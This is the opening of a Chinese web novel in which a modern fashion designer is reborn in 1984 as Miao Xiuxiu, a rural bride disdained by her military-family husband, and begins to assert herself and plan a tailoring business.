《重生八零俏媳要翻身》
1. 楔子
醒过来的时候,姚珈一个惊悸,发现自己躺在地上,全身绷得僵硬,努力睁大眼睛,看着周围的一切,确认自己身处一个陌生的房间里。
勉强坐起来,她下意识看看自己的身体,总觉得哪里不对劲,晃了晃脑袋,一些遥远的记忆浮现在脑海里,交织成不同的记忆片段。
她记得,为了一年一度的巴黎时装周,她连续熬了两个通宵,终于体力不支倒在了工作室的设计台上,后面发生了什么事她一点印象都没有。
看到不远处就有张床,姚珈从地上站起来,跌跌撞撞躺到床上去,思考着这到底是怎么一回事,不仅脑子里混沌一片,就连身体似乎也不大协调。
胸口隐隐作痛,呼吸也困难,姚珈躺都躺得很不舒服,总觉得身上的衣服裹得太紧,解开衣襟一看,发现自己胸口竟然裹着厚厚的几层布。
这是几个意思?姚珈坐起来,索性脱掉上衣,手臂伸到背后,摸索了几下,好不容易找到了裹胸布的一头,一层层拉开,好家伙,竟然裹了五六层。
然而更令她惊讶的是,胸前弹跳出来的两团柔软,水蜜桃一样,吓得她赶紧跳下床,开始打量眼前的房间。
土里土气的家具和布置,上个世纪风格的几样家电,让她有种非常不好的预感,难道是……穿越了?
眼看着进门的地方就有个巨大的穿衣镜,姚珈迫不及待跑过去一看究竟,赫然发现镜子中出现的是一张陌生女人的脸,说女人都有点老了,镜子里的人看起来顶多二十出头,两根粗粗的麻花辫子,看起来清纯中带着七八十年代人特有的那种质朴。
最吸引姚珈视线的是这姑娘一对挺拔傲然的丰胸,胸型不要太好看,姚珈下意识抬手抚摸身体,发现这个身体好像真的已经变成自己的,惊骇地无以复加。
不能就这样光着身子,姚珈打开衣柜开始翻找,衣柜里衣服倒是不少,但大多数都是男人衣服,女人衣服少得可怜,而且居然连一件文胸都没有,她只好打开另一侧的衣柜,扒拉了半天,好不容易才扒拉出两件看起来像文胸的小背心。
不行,得好好把事情的脉络理一理。姚珈也顾不上穿小背心,把之前丢在床上的衬衣胡乱穿在身上,躺回床上。
花了两个小时时间,她终于记起来一些事。
她姚珈,21世纪国内最优秀的时装设计师,习惯了全年无休,为了赶设计,在发着高烧的情况下连续熬了两个通宵后
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疲劳猝死,灵魂穿越回了上个世纪八十年代。
身体的原主叫苗秀秀,是个从安徽农村嫁到军区大院的乡下小媳妇,因为是农村普通家庭出身,性格又懦弱自卑没见过什么世面,嫁过来以后一直被高干婆家和丈夫瞧不起,结婚三年,丈夫甚至连碰都没有碰过她一次,三年后还以感情不和为由,和她离婚并且把她送回了老家。苗秀秀羞愤之下喝了农药。
我靠,重生都不给老娘安排个好剧本,上辈子加班到猝死,穿越后更是身处水深火热的困境,姚珈替苗秀秀愤愤不平的同时,又美滋滋打量着身体,有句话不是说么,脸在江山在,年轻的姑娘,身体就是本钱。
姚珈又贪婪地捏了捏胸,好好体验了一把波涛汹涌的荡漾感觉。丫头,难怪那个狗男人不碰你啊,你整天佝肩缩背,还用裹胸布把你最傲人的本钱藏起来,他能注意到你才怪。
也罢,既然魂穿到你身上,就让36岁的设计师老阿姨替你把余下的人生过完。姚珈忽然就有种跃跃欲试的感觉,就凭她奋斗了十年成为国内顶尖设计师的智商和才华,她就不信,这一世她不能活成个人生赢家。
至于苗秀秀的婆家,姓周的那一家,看谁比谁厉害。
2. 第一章
想清楚事情的前因后果,姚珈再重新查看这个房间的时候,发现房间里的布置在那个年代算是相当不错了,床上有席梦思,大衣柜、五斗橱、沙发、电风扇一样不少,甚至连电视机都有。
从床上下来,姚珈把家里各处看了一遍,发现这是个两室一厅一厨一卫的单元房,客厅小到可以忽略不计,基本上只能算是个过道,摆上吃饭的桌椅和一个杂物柜基本上就没法再放别的,家门外是一条长长的走廊。
虽然她自己要在几年后才出生,但这样的筒子楼她在小时候也是见过的,只是她见过的那种筒子楼都是没有独立卫生间和厨房的,连在一起的几十户人家都是在走廊上起灶做饭。
到底是部队大院,筒子楼的条件都这么好。姚珈走进厨房,发现厨房里居然有个冰箱,大大震惊了她,虽然冰箱在上世纪三四十年代就有了,但那也是在欧美的发达资本主义国家流行,相对贫困落后的国内要到八十年代中晚期才能用上冰箱,物资匮乏的年代,就算是富裕人家也得凭票购买。
要说周家不重视苗秀秀这个儿媳吧,小家庭的家具家电样样不缺,还给安排了独立住房,这样的居住条件,在雁京这样国内首屈一指的大城市,别说在八十年代初,就算是二十年后,也是可以的,足见周家长辈对待婚事是花了心思的;可要说重视,为什么一家子都瞧不起这姑娘,最后还把人给逼死了?
原主留给她的回忆不多,也就是一些琐碎的片段,姚珈走到另外一个房间门口,记起来这应该是苗秀秀的丈夫周北冀的书房,也是他的秘密天地,平常不让苗秀秀进出,就连卫生也是他自己收拾。
作为周家最小的儿子,周北冀从一出生起就备受宠爱,他本人也相当优秀,十八岁高中毕业后当兵,去南疆参加过对越反击战,还立过二等功,回雁京后一直在陆军学院上学,此时还没有毕业。
旋转门把手,姚珈发现门没锁,有一丝惊喜,打开门一看,房间里黑洞洞的,依稀能看到一面墙的书柜。有什么见不得人的?要遮得这么严实,姚珈腹诽着,走到窗口拉开窗帘,室内顿时明亮起来。
还真是个不错的书房,除了书柜和书桌,还有躺椅和茶几,躺椅边上有个不大的柜子,柜子上放着一个喇叭花形状的唱片机,茶几上则放着一整套的功夫茶具。
这小子还真会享受,姚珈打开唱片机下面柜子的门,想看看周北冀平时都听些什么唱片,这一看不打紧,她的眼眶都热了,满满的全都是黑胶碟,不仅有披头士、猫王、滚石、平克弗洛伊德乐队的唱片,连迈克尔杰克逊早期的唱片都有,要知道这样的原版碟,后世想淘到一张相当不容易。
忍着把这些黑胶碟全部据为己有的冲动,她又抬头看了看墙上,除了披头士那张著名的穿过Abbey大街的四人行海报,还有两三张电影海报,海报下方靠墙的柜子上放着一把吉他。
那个年代的文艺青年很多都会弹吉他,姚珈啧了一声,也难怪周北冀不喜欢苗秀秀,他俩根本就不是一个世界的人嘛,不仅文化水平不在一个层次,家庭背景也相差十万八千里,能有共同话题才怪。
悄悄退出周北冀书房,姚珈去浴室洗澡,还没到晚上,莲蓬头洒下来的水都是半冷不热的,苗秀秀的记忆告诉她,北方这样的筒子楼,冬天为了集中供暖,锅炉烧一整天,夏天只有晚上才会烧几小时,为居民提供热水,就这样还得看锅炉工的心情,要是遇到他有事,一晚上没有热水也是常有的事。
北方四月里洗温水澡还冷得很,姚珈哆哆嗦嗦洗完了澡,穿上从衣柜里找出来的苗秀秀的几件衣服。内裤一看就是自己用棉布做的,洗得花色都褪了,没有文胸,只能穿上之前找到的那件短短的白色小背心。
鼓鼓胀胀的胸把小背心顶得高高的,姚珈穿上苗秀秀那条肥肥大大的裤子,心里直叹气,这姑娘明明有丰胸细腰翘臀这样老天爷赏饭吃的好身材,偏偏要穿不合身的衣服,把身材的优点全都遮掩起来,四十年后,哪个女人要是有这样前凸后翘的身材,恨不得天天秀出来。
趁着晾干头发的时间,姚珈又到厨房打开冰箱寻摸一圈,找了些食材出来,准备给自己做晚饭,脑海里苗秀秀的记忆一点点复苏。
在苗秀秀生活的那个偏远贫困农村里,民风保守淳朴,重男轻女思想严重,苗秀秀因为是家里最小的女儿,又是军烈属子女,才勉强靠着抚恤金和村里的资助念完了小学。念初中的时候,大哥二哥陆续结婚家里实在拿不出钱,她初三只读了半年不到就辍学了,高中更是想都不敢想。
苗秀秀的父亲在部队服兵役的时候,在一次爆破事故中牺牲性命救了周北冀的父亲周明康,周明康为了战友临终前的嘱托,也为了报恩,才会让自己最疼爱的小儿子娶了苗秀秀为妻。
一开始,周家除了周明康没人赞成这门婚事,周北冀本人更是抗拒到不行,和家里闹了两个月,各种手段都用上了,就差上吊抹脖子,到最后胳膊拧不过大腿,还是被他老子逼着推进了洞房。
然而,父母能推他进洞房,却不能逼着他圆房,这是他最后的底线,这个婚他结了,媳妇他认了,但是他绝不会和她睡觉,他宁愿一个人睡一辈子,也绝不碰他不想碰的女人。
和苗秀秀结婚半年,这个犟种大部分时间都住在陆军学院的宿舍里,周天休息才回家来住一晚,也就是给苗秀秀的生活费时候和她说上一两句话,其他时间他对她不理不睬不管不问,两人井水不犯河水。
周明康再怎么施压也没用,周家人全都站在周北冀那一边,纵容周北冀对苗秀秀使用冷暴力,包括周明康的妻子沈芬玉,也对这个乡下儿媳妇左右看不惯。嫌她文化水平不高还畏首畏尾,小家子气上不得台面,当初把苗秀秀的两个哥哥一个弄去当兵,一个安排了招工指标进县城面粉厂工作,还不算报恩么,为什么非得让她心爱的小儿子娶一个农村丫头?为了这件事,沈芬玉对老伴儿一肚子意见,碍于当家人的威严和面子,只能隐忍在心。
食材有限,姚珈勉强烧了两个菜,一个糖醋排骨、一个醋溜土豆丝,又煮了一小锅绿豆粥,趁着粥还没熟,她到卧室的柜子里找出一条手绢,把湿漉漉的头发临时扎起来,麻花辫什么的,她没那个耐心去编。
穿过来大半天了,终于可以美美吃上一顿饭,姚珈把饭菜端上桌,品尝着自己的手艺。以前的猪肉就是好吃,比四十年后超市卖的好吃多了,姚珈吃得津津有味。
周北冀回家来的时候,看到的就是这副情境。他那个唯唯诺诺的乡下媳妇正在嘎嘎啃排骨,而以前,每逢周六晚上,他不回来,她绝不敢独自先吃饭,哪怕他和她说过很多次,他在食堂吃过了,她还是傻傻等,等他发话说他不吃,她才开始吃饭。
慢吞吞地、小老鼠一样一小口一小口啜着稀饭,仿佛生怕吓着谁。
他从没告诉过她,他一点都看不惯她吃饭的那种样子,更吃不惯她烧的饭菜,大概是在农村过惯了苦日子,她烧菜舍不得放油放
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盐放料酒,烧任何菜都像是水煮出来的,没有一点味道,她还特别节省,中午的剩饭剩菜晚上热热再吃,甚至吃不完第二天早上再热一遍吃。
在周家,全家人都没有吃剩菜的习惯,尤其是家里还有他妈妈和大姐两个军医在,每顿饭菜都是做差不多的分量,全家人实在吃不了就喂猫,他妹妹养了一只很漂亮的波斯猫。
“回来了。”姚珈见周北冀表情严肃地看着自己,主动和他打了个招呼。
这个人的外表倒是和苗秀秀记忆里非常一致,相貌清隽帅气,身材瘦高,浑身上下散发着一种牛逼哄哄的二代气质,同时他也很冷,冷到能把苗秀秀冻出一身冰渣子的程度。
周北冀看到桌上的精致小菜,和苗秀秀往常的烹饪风格截然不同,她烧排骨舍不得放酱油更舍不得放油,烧出来排骨还是白白的,像是水煮肉,完全没法和眼前盘子里油亮的糖醋排骨比。
“你去食堂打饭了?”周北冀难得和媳妇说上两句话,全是因为他心里实在好奇。
他不仅发现饭桌上的菜不一样了,苗秀秀本人也不一样了,她的发型变了,不再梳两根土里土气的麻花辫,而是像城里姑娘那样用手绢把头发扎了起来。
“没,我自己做的饭菜。”姚珈猜到他心思,又补充一句,“我知道你肯定在外面吃过了,就没做你那一份。”
周北冀嗯了一声,总算是把他的话听进去一句。
姚珈余光瞥见他去自己书房,过不了两秒钟,他怒气冲冲出来质问她:“谁让你进我的书房?我不是说不让你随便进吗?”
姚珈刚想说你怎么知道我进了,瞬间想起来,她把窗帘拉开以后忘记拉上了,周北冀这么个心思细腻的人,走得时候房间里什么样他肯定记得。
要是苗秀秀被他这样恶鼻子恶眼瞪着,肯定吓坏了,可姚珈一点也不怕他,不以为然说:“房间常年不见阳光容易长霉生细菌,我看下午太阳不错,拉开窗帘晒晒太阳,你要是不喜欢我进你房间,下回把房间锁起来。”
苗秀秀会反驳他的话,是周北冀没想到的,心里有些不痛快,虽然他很讨厌她在自己面前连说话都磕磕巴巴胆小怕事的样子,她忽然改了脾气,他一时也有点难以适应。
睡觉的时候,姚珈又给了周北冀一个下马威。她没有像苗秀秀以前那样,他一回家住就把大床让给他,自己在床边上搭行军床睡,她把他的铺盖搬到行军床上,自己睡大床。
周北冀从书房回到卧室的时候,看到自己的那床被子放在行军床上,而苗秀秀大大咧咧躺在大床上,气简直不打一处来。
思之再三,他忍住没发火,要不是书房地方太小,他早就想搬到书房去睡了,之前看她主动把床让给他,想着就这么凑合睡也行,反正他每星期也就回家一晚,哪知道她忽然把床给占了,让他去睡行军床。
以前在野战部队比这跟艰苦的环境他都待过,但是回雁京以后他就再也没睡过行军床,床身狭窄不说,床架子也不够结实,翻个身都能把床压塌了,舒服惯了的人一朝受苦,就开始睡不着。翻来覆去一晚上,他觉得在这样的床上腰是弯的,连腿都伸不直。
姚珈听到他辗转反侧的声音,心里偷着乐,把家当成旅馆也就配这待遇,她在心里告诉自己,睡醒之后,这个世界上不再有姚珈,她既然魂穿到苗秀秀身上,那就是冥冥中的缘分,她有义务替这个可怜的姑娘好好活下去。
不仅要活得好,还要活出样子来。
3. 第二章
第二天早上,周北冀起床的时候,浑身腰酸背痛,他像贴煎饼那样翻来覆去一晚上,后半夜才睡着,本以为自己起得已经够晚,起来才看到床上那个女人比他更晚,甚至她还睡得四仰八叉的,没一点睡相。
以前每次他回家,苗秀秀总是一大早就起床去食堂买早饭,等他起床洗漱过后,热腾腾的早饭已经摆了一桌子,她知道他早上喜欢吃豆浆油条小笼包这些,攒着舍不得用的饭票都是到他回来才舍得用。
简单洗漱过后,周北冀拿上饭票,也没吵醒苗秀秀,轻手轻脚离开家独自去食堂。军区大院就像个独立小世界,不仅医院、幼儿园、食堂等等设施一应俱全,就连点电影院、服务社、理发店等等也都是一应俱全。
晨跑五公里,是他每天早上从不间断的项目,跑下来以后浑身舒畅,去食堂吃饭也能多吃两碗。
苗秀秀醒过来的时候,看看手表已经九点多,下意识伸了个懒腰,每天睡到自然醒可真是太舒服了,上辈子的时候她可没这待遇,每天不是在工作室改设计图就是在制衣工厂和秀场,忙到凌晨两三点才回家也是常事,早上就更别提了,开车到处堵车,挤地铁又像打仗,不早点起床根本不行。
刷牙的时候,苗秀秀看着镜子中自己的脸,比半年前刚从安徽到雁京时候皮肤白了不少,但保养得不算好,皮肤明显缺水,头发也没什么光泽,发梢营养不良一样枯黄,让人不由得就联想起黄毛丫头这个词。
长得倒还漂亮,就是差点精气神,大概是长期缺乏自信造成的,苗秀秀下意识又挺了挺胸,她对她的胸可太满意了。
依着她原先的记忆,在老家的时候她因为发育得比同龄人都早而感到自卑,常常含着胸走路。老天爷没有因为她的害羞和自卑而眷顾她,胸反而越长越大,稍微跑跑动动就颤颤巍巍,老家的女人都没有穿文胸的习惯,嫌那玩意贵,她到了发育的年纪,她妈也只是带她去买背扣式的小背心。
嫁进来的二嫂子倒是偷偷送过她一件文胸,她回房间试过以后发现在文胸的衬托下,她的胸更大更挺了,衬衣的扣子几乎要绷不住,更何况,穷山沟里祖祖辈辈的女人都没穿过文胸,羞人答答的。
大嫂二嫂偶尔在背后议论,小妹吃什么长的,怎么胸那么大?
就是,哪像个十六七岁的小姑娘,俺们村里生娃娃的女人也没有那样。
别不是做了什么见不得人的事了吧,叫男人给摸了?
别瞎说,这种话给妈和她二哥听到得割了你舌头。
苗秀秀听到嫂子们的议论躲在屋里委屈地哭了一晚上,虽然她对她们粗俗的言语一知半解,不知道为什么小姑娘的胸就不能大不能挺,但是她也能听出她们话里的意思,女人胸大会被别人说成是被男人给摸了,她活到十六岁,别说被男人摸,她连一根头发丝都没让男人碰过。
以前出门的时候,也会有村里的二流子和小流氓在路上堵她,嘴里不干不净的说些下流撩骚话,现在想来,怕不是也在说她的胸。
那天以后,苗秀秀就开始用长长的布条裹胸,虽然一开始痛得她死去活来,但一想到可以避免听到旁人的风言风语,她又觉得这样的疼痛是值得的,家里人发现了她的举动,私下里劝了好几次,可她总是不听,坚持要裹胸。时间长了,也就没人管她。
嫁给周北冀的过程对苗秀秀来说像是一场梦,每次家里人议论她的婚事,她都害羞地躲起来不敢听,可又忍不住去听听。
婚事是秀秀爸牺牲那年,男方父亲亲自上门来送抚恤金的时候主动和秀秀妈提的。
本来家里也没把这门婚事多当回事,男方父亲级别很高,说给一双小儿女订婚恐怕很大程度上只是一时感恩,过后两家也没有什么来往,没想到多年以后,他们履行诺言,居然真的上门提亲了,要把苗秀秀接到雁京去。
雁京,那可是首都啊,老苗家的幺女苗秀秀一下子成了全村人羡慕的对象,听说苗秀秀的对象家不仅住在首都,秀秀她公公还是部队上的大干部,不仅能把她的农村户口给解决了,还能让她住到军区大院里。
苗秀秀到了少女怀春的年纪,也不是没偷偷憧憬过自己将来的丈夫是个什么样的人。
她虽然只是个农村姑娘,但也有她的想法,她长得挺漂亮,还上过初中,村里那些农民她是不怎么看得上的,觉得他们没什么文化还特别大男子主义,每天除了出工干活,回到家什么事都不帮忙做,只当甩手掌柜。她一心想找个有文化的、有丰富的精神世界、能让她产生崇拜感的男人。
当周家的婚事提到日程上来的时候,她心里多少是有点欣喜又有点忐忑不安的,以她之前的标准,最好就是能嫁个高中毕业、在县上工作的公社干部或者正式工人,从未奢想过嫁到首都那样的大城市、嫁给周家那个上军校的小儿子,太高攀了。
苗秀秀跟着来接她的周家人和送亲的二哥一起坐上北上的火车,这还是她长这么大头一次坐火车,一切都让她感到新奇。首都更是她想都不敢想的地方,天安门、人民大会堂、英雄纪念碑,一幕幕场景从她眼前略过的时候,她彻底被雁京的繁华气派给震撼了。
就在苗秀秀对首都和未来的婚姻生活充满憧憬的时候,周北冀给了她当头一盆冷水。当这位个头高高的青年站在苗秀秀眼前时,苗秀秀几乎看傻了,她从未见过这么英俊挺拔、气质卓越的男人,他看起来还很干净,身上的白衬衣白得耀眼发光,虽然他当时才二十四岁,但是那种沉稳威严的劲头,比他们县长还气派。
但是,这个英俊的青年看到她时眼睛里很明显带着嫌弃,冷冷瞥了一眼,过后就看也不再看她,哪怕她偷偷把手在裤子上擦了半天,想和他握个手,他也一点没有要和她握手的意思。
新婚夜他也表现得相当冷漠,自己洗漱过后,他就往床上一趟,睡他的觉去了。一人一床被子,他就没打算跟她睡一个被窝。
苗秀秀不会用煤气,她在乡下都是烧土灶,城里烧水做饭用的煤气罐她连见都没见过。
他俩结婚的时候是十一月里,那一年雁京的冬天来得特别早,夜里气温接近零下,热水用完了,苗秀秀只能用冷水洗脸洗脚,早上起来刷牙,水冷得她牙齿直打颤。
好在周北冀还不算全没良心,教会了她用煤气烧水做饭,虽然一开始她不敢打火,老是怕烧坏什么,几次下来,也就会了。
苗秀秀从没告诉过周北冀,见第一面时,她就对他一见钟情,结婚后更是死心塌地爱他,把丈夫当成她唯一的天,但是她也知道,他俩门不当户不对,他从心眼里瞧不上她。不仅是他,他妈妈、哥哥嫂子姐姐妹妹全都瞧不上她,他们全家都是文化人,看不上她这个连初中都没毕业的土丫头。
这个帅气的丈夫如果和她一样是个只上过几年学的庄稼人,倒也罢了,她两个哥哥长得都不错,光凭他的外表并不会让她见了他这么自卑,
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偏偏他不仅长得好,出身也那么好,既是军人还是军校在读大学生,在这种有文化的人面前,心里那种深刻的自卑感令她无法把自己和他放到平等交流的地位。
洗漱过后,苗秀秀对着镜子梳头发,发质这么差,还不如先剪掉算了,低头看看胸,不穿内衣也不是个事,上午得赶紧去买文胸。
服务社的大概位置她是记得的,因为有家属有女兵,这些衣物也不会缺,她想好了,趁着周北冀没回来之前先把胸裹上,民风保守的八十年代,不穿内衣出门未免太过招摇。
煮了一锅粥,就着鸭蛋和几根咸菜勉强吃完早饭,苗秀秀揣了一百块钱在口袋里,出门去军区服务社。记忆里,雁京这样的大城市买布已经不需要布票了,只有副食品和家电类才需要票,她决定顺便再去卖点布,给自己好好做几身衣服。
幸好上辈子当服装设计师学裁剪也是必修课,不然还得找人做衣服,苗秀秀看到服务社里琳琅满目、各种材质的布料,一口气买了十几块,准备回去大干一场。
买内衣就犯了难,以前的文胸款式和四十年后不太一样,尺码也不是那么标准,要试穿才能知道合适不合适。
苗秀秀让店员给她拿一个大罩杯的文胸,店员瞄了她一眼,好奇道:“你确定你能穿?要不用先量一下?也免得你费事脱衣服试穿。”
“不用量,我大概知道。”苗秀秀已经不是以前的苗秀秀了,以前她要是被这么问肯定不好意思,现在她怕谁,老娘就是胸大,羡慕死你们。
去试衣间换衣服,苗秀秀没想到试衣间里还有别人,敢情以前的商场试衣间都是共用的,试上衣的试裤子的,不同柜台的衣服全都挤在一起试衣间试穿。
苗秀秀脱掉身上的衬衣,身子背对着其他人的方向,到底不想什么都被人看到,等她把文胸穿上,发现刚刚好合适,才把衬衣又穿上。衬衣裹胸的时候穿很宽大,穿上文胸以后就紧了不少,但也还算合身,看着镜子中自己挺拔的身姿,她很满意,当即付钱买了三件同款文胸,三条内裤。
挺胸抬头走出服务社,苗秀秀觉得阳光都灿烂了不少。看到路边有个小卖铺,她过去买了一根冰棍儿,凉凉甜甜的冰棍儿吃在嘴里就是爽,远远看到一个酷似周北冀的人影,她又买了一根冰棍,迎上去找他。
周北冀怎么也没想到会在这里遇到自己的小媳妇,看到她手里递过来的冰棍,接也不是,不接也不是。在外面他从来不跟她并肩而行,他总是走在前头,把她落在后面,不熟悉他俩的人,甚至都不会把他俩当成小俩口。
“干嘛?不想吃啊。”苗秀秀见周北冀半天不接自己递给他的冰棍,叫了他一声。周北冀这才勉为其难接过去,“找我有事?”
以前她每次主动和他说话,都是家里有事,不是马桶坏了需要修一下,就是问他有没有要洗的衣服,虽然他在部队早就养成了自己的衣服自己洗的习惯,偶尔她要给他洗衣服,他也不推辞。
在外面遇到,还主动拦他,肯定是有话要说了。
果不其然,苗秀秀说:“你中午回家一趟,我有事情要和你说。”不提前和他打招呼是不行的,他每次回来,上午去看电影或者理发,下午打篮球基本上都是固定项目,中午他也都是在食堂吃饭。
“好。”周北冀答应了。
和他约好时间,苗秀秀如释重负,她之前还有点担心他不愿意搭理自己,没想到他的态度还可以。
4. 第三章
溜达到自己家楼下,看到邻居李嫂坐在门口洗衣服,苗秀秀下意识向她走过去。原主羞涩内向,又整天足不出屋,和邻居关系处得不怎么样,热情开朗、心地善良的李嫂是为数不多的几个经常和她打招呼的邻居。
“嫂子,洗衣服啊。”
“唉,不洗怎么办,一大家子等着换洗衣服穿。”
李嫂是随军家属,丈夫是军区某部队团长,两人有三个孩子。
苗秀秀在李嫂身边站了站,从自己买的十几块布料里选了一块花布出来,主动对李嫂说:“服务社进了好些新货,我过去挑衣服料子,眼睛都挑花了,没留神就买多了,怕回去被小周说我浪费,送您一块做衬衣穿。”
“啊呀,那怎么好意思呢?”李嫂看着苗秀秀手里的花布料子,眼睛都热了。她早就想买布做新衣服,可惜手头紧,只能先紧着三个孩子买,她自己都很长时间没穿过新衣服了。
“没什么不好意思的,都是街坊邻居,您平常又那么照顾我,我让一块衣料给您也是应该。”
苗秀秀嘴甜,哄得李嫂眉开眼笑,很高兴地收下衣料。苗秀秀趁机向她打听了大院里的一些情况,原主虽然在这里住了半年多,但因为不爱交际,对这里知之甚少。
中午在食堂吃饭的时候,周北冀和几个朋友坐在一起,这几个人都是大院里和他从小玩到大的伙伴,有人参军有人上学,难得聚在一起,因此每逢周末,他们都会在食堂聚餐,点上几个好菜,来上一箱啤酒。
军装的扣子解开,露出里面的白衬衣,用皮带整齐地扎在绿军裤里,当兵的男人休假的时候大多数都是这个穿着,苗秀秀走进食堂的时候,没发现周北冀就坐在靠窗那一桌,她拿着饭盒,直奔打菜的地方。今天有她喜欢吃的鳝丝炒青椒,还有每个周末必有的鸡腿,她要好好吃一顿,把苗秀秀肚子里缺的那些油水都给补回来。
“那是不是你媳妇儿?怎么和平常不大一样了?”周北冀一个哥们儿叶耀然忽然抻着脖子说。
周北冀回头看了一眼,可不就是她。捧着个饭盒,她随便找了个地方坐下吃饭。
“有什么不一样的。”周北冀转过头,耷拉着脸,一点都不想在哥们儿面前提到苗秀秀。
虽然他按着家里的要求结婚了,但从来没真正从内心深处把苗秀秀当成他媳妇,就算是媳妇,也只是暂时的,总有一天,他会说服家里同意他离婚。
叶耀然看出他情绪不高,也就不再提。其他人插科打诨,把话题扯到别处。
周北冀默默喝了一杯啤酒,心里也在想,她好像是有点不一样,但又想不出具体是哪里不一样。
苗秀秀把菜吃得精光,但是米饭她只吃了一点点,上辈子为了苗条养成了节食的习惯,尤其是碳水,能少吃就少吃,这辈子发育得这么好,更得保持身材,她要做个妖妖娆娆的狐狸精,过以前从未体验过的人生。
走的时候,恰好和叶耀然的视线对上,苗秀秀跟他笑了笑,甜甜地叫他一声,“叶三哥,你也来吃饭呀。”
全军区大院最大的官、一号首长叶司令家的三公子,她以前看到了也不敢主动和人家打招呼,哪怕她知道叶三公子和周北冀是好哥们儿,她也不敢,叶耀然倒是每次见了她都会主动和她打招呼。
周北冀家这个胆小到有点唯唯诺诺的小媳妇居然主动和自己打招呼,叶耀然心里有点诧异,很有礼貌地笑着跟她点了点头。苗秀秀顺带瞄了一眼周北冀,却见他根本瞧也不瞧自己,撇了撇嘴当没看到他。
“你媳妇,你也不理人家一下。”叶耀然虽然知道周北冀从一开始就不满意这个乡下媳妇,但既然已经结婚了,总不该见了面还对人家不理不睬的。
“不知道哪根筋搭错了。”周北冀心里嘀咕着,她以前不是从来不吃食堂吗,说食堂的饭菜贵,怕饭票不够吃还得花钱买,怎么忽然就舍得了?
“仔细看看,你媳妇长得好像也还可以,虽然没有我媳妇漂亮,比你姐和你妹都好看。几个人里唯一穿着海军蓝色军裤的程晋衡笑着说。他的新婚妻子傅蕾出身名门,以前是大院有名的美女,两人还在蜜月期。
“你这可不像是夸人的话,倒像是变相的自卖自夸。”叶耀然说。
周北冀没在意他们的插科打诨,吃吃喝喝结束以后,他回到家里,看到苗秀秀已经坐在卧室的沙发上等他。
结合苗秀秀的变化,周北冀天马行空地想,要是她受不了谈离婚的话,那正中他下怀,他还有两年就能从陆军学院毕业了,毕业后他还想下放到基层部队去锻炼锻炼,把她独自放在家里几年,他父亲肯定不同意,可他更不想带着她随军。
苗秀秀抱着胳膊,一脸严肃,看起来确实有几分谈判的意思。周北冀在她对面坐下,让她有话快说、长话短说,他约好了两点钟和别人打球。
“我想买一台缝纫机。”苗秀秀在买布料之前就想好了,买一台缝纫机她就能发挥她的特长,以后她不仅可以给自己做衣服,没准还能开个裁缝铺。
“你会裁剪?”周北冀从没听说苗秀秀有这样的技能,以她家的家境,家里以前也不可能买得起缝纫机。
“会一点,跟我大嫂学的。钱我自己出,麻烦你帮我弄一张缝纫机票。”苗秀秀早就想好了说辞。
她大嫂是个民办教师,老苗家唯一一个算是有点文化的人,周北冀知道这一点,所以她说是大嫂教的,他应该不会起疑。
“怎么想起来自己做衣服?”周北冀下意识打量了苗秀秀一眼,她从结婚那时候就穿得很朴素,除了大姐按着母亲的吩咐给新娘子准备的几身衣服,她自己带来的衣服少得可怜。
“我的衣服都穿旧了,款式不太好看,我想自己做,能省点裁缝钱,将来要是做好了,我还想开个裁缝铺。”苗秀秀试探地和周北冀商量这事。
虽然她早就拿定了主意,但不管怎样,他还是这个小家庭名义上的一家之主,她在雁京这个陌生的地方、八十年代这个陌生的环境,人生地不熟,有些事还得靠他出面处理,和他打好招呼准没错。
“缝纫机可以买,开裁缝铺就免了,我们家没人当个体户。”周北冀否了苗秀秀的试探,但是没反对给她买缝纫机。
什么观念!个体户怎么了,自食其力又不丢人,苗秀秀很想给周北冀一个白眼,但眼下她还不敢,她的翅膀还没长硬,对一切都还不熟悉
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,等她混熟了,哼哼……
“那下星期你回来时能去买吗?”苗秀秀问。
“嗯。”周北冀给了个肯定的回答。
约好了买缝纫机的时间,苗秀秀很高兴,主动说:“离两点钟还有一个多小时,你要不要先睡个午觉?床给你睡,我有几件衣服要洗。”
周北冀头天晚上没睡好,此时正有点犯困,苗秀秀这么一说,他也就没客气,脱掉外衣躺下午睡。
苗秀秀洗买来的那些布料,在做成衣服之前要先下水,有些料子容易缩水,尤其是真丝,苗秀秀是狠下了心才给自己买了几块真丝衣料,准备用来做衬衫和连衣裙。这个年代穿得起真丝的人不多,但只有穿过的人才知道,真丝是最好的布料子,夏天穿着舒服又透气。
她留了个心眼,没有把十几块布料一起洗,只捡了其中几块先洗,准备给自己裁两件衬衬衫、一条裤子一条半身裙。她以前那些肥肥的衣服裤子一点腰身都没有,穿起来毫无美感。
周北冀醒过来的时候,还没到两点,看到床头柜上放着一杯冒着热气的绿茶,他怔了一怔,但也意识到这是苗秀秀泡给自己喝的,端起来喝了一口。
苗秀秀从外面进来,说:“猜到你快醒了,就提前把茶给你泡上了。”周北冀嗯了一声,水温刚刚好,他醒来正好口渴,一口气喝了大半杯。看到苗秀秀正在拉窗帘,侧影看起来有些异样,他仔细一看,发现了问题所在,难怪总觉得她哪里有些变化,他记得她以前明明是个平胸。
但是他没有过多关注这个问题,喝了茶以后,他站起来整理衣服。苗秀秀回头正好看到他在扣衣服扣子,手臂的线条匀称结实,宽肩也很有力量感,她赶紧把目光移开。
周北冀走了以后,苗秀秀随便找了支笔画衣服草图,她记得,八几年的时候日本电视剧《血疑》红遍大江南北,剧里山口百惠饰演的女主角幸子穿过一件胸前带飘带的衬衣风靡一时,被称为幸子衫。
虽然她脑海里好看的衣服不计其数,但是也不能穿得太超越时代,先学电视剧里的服装设计总不会错,周北冀问起来也好解释。
裤子么,简单的西裤就好,显身材又不过分惹眼,以后还可以再做喇叭裤和阔腿裤,等她做的衣服渐渐引起关注,裁缝铺开起来,她再发挥设计才能也不迟。
84年4月20日,这是一个值得纪念的日子,未来的服装公司董事长兼首席设计师苗秀秀女士在这一天画出了她的第一份设计草图。
一下午,苗秀秀画了好多图,家里的闹钟敲响五点的时候,她才忽然想起来,是不是该去做晚饭了?周北冀每次打球差不多都是这个时候回来,这之前他通常都会在家属院的澡堂子里洗过澡,再回来骑上他的自行车返回陆军学院。但是他基本上不会在家里吃饭,他都回学校去吃。
管他吃不吃,反正自己要吃。苗秀秀把冰箱里的一块猪肝拿出来,炒了个青椒炒猪肝,又烧了个麻辣豆腐,一份凉拌黄瓜,黄澄澄的小米粥刚煮好,周北冀就回来了。
“我炒了点菜,你要不要吃了再走?”苗秀秀一心想把这个挂名老公哄好了,她的缝纫机、裁缝铺、跨国托拉斯才能一步步实现。
5. 第四章
